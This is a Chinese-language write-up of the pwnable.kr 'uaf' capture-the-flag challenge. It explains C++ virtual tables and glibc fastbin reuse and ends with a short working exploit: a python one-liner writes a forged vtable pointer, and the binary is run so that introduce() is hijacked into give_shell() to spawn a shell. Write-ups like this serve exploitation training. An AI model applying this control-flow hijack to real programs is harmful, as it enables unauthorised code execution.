pwnable.kr uaf writeup
前言
大概一个月没有更新博客了,不过这段时间也并没有偷懒。写着实验室的文档,又刷了一些pwnable的题,然而感觉自己依然挺菜的,效率还是不高。
UAF的原理一直都知道,真正做题了之后才发现UAF的利用和堆分配是密不可分的。本题的难点在于需要理解C++的类、虚函数的反汇编知识,否则调试的时候可能有些晕,这些资料看Refs2即可。
Analysis
源代码
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh"); //0x000000000040117A
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
printf("%d",len);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
查看object 地址
-
object male : $rbp-0x38 ->
0x614c50
-
object woman : $rbp-0x38 ->
0x614ca0
虚函数的调用过程
虚函数代码&反汇编代码
case 1:
m->introduce();
w->introduce();
break;
object man的地址保存在rbp-0x38处,object man的地址为0x614c68;
object woman的地址保存在rbp-0x30处,object woman地址为0x614c58;
在调用m->introduce()时,1. 首先从rbp-0x38取出object man的地址,然后2.取出保存在该地址处的虚表的地址。3. 虚表地址+8即为introduce的偏移,保存在rdx中。4. 有了虚函数的地址后,再将object man的地址保存在rdi中即可完成调用,毕竟虚函数需要知道是谁调用了自己嘛。
由于C++中的对象通过new来产生的,因此两个object均在heap中,chunk大小均为0x20。由于他们均是Human的子类,因此Human的对象也会被创建,chunk大小为0x30。
对象在堆中的分布
虚表
Use After Free
在case 3中,free了两个object man 和object woman后,由于没有将对象指针置null,而在case 1中仍然可以使用这两个指针,因此会触发Use After Free漏洞。
使用case 3将object man和object woman free后,将会产生 4个fastbin。大小是0x32,0x20,0x32,0x20。继续使用case 2可以重用这些bin。
根据glibc的malloc规则,x64程序如果再申请小于0x18(3*0x8)个byte的chunk,则会将object woman的0x20byte的bin分配出去。继续申请小于0x18(3*0x8)个byte的chunk,则会将object man的0x20byte的bin分配出去。注意,使用case 2时,需要至少复制3个字节才能将地址read进去。
关键部分来了,使用case 2来分配两个chunk后,成功占位了原来object man和object woman的chunk位置。如果覆盖了原始object的vtable,那么就可以在case 1 时,劫持控制流。
调用introduce函数本质上是进行如下操作:
获取chunk的*vtable -> *vtable+8(introduce)。因此,将chunk的*vtable修改为*vtable-8,那么调用introduce时,进行的操作即是:*vtable-8 -> *vtable -8 + 8 (giveshell)。
exp
$ ssh [email protected] -p2222
$ python -c 'print "\x68\x15\x40\x00\x00\x00\x00\x00"' > /tmp/thinkycx | cat /tmp/thinkycx
$ ./uaf 3 /tmp/thinkycx
$ 3 2 2 1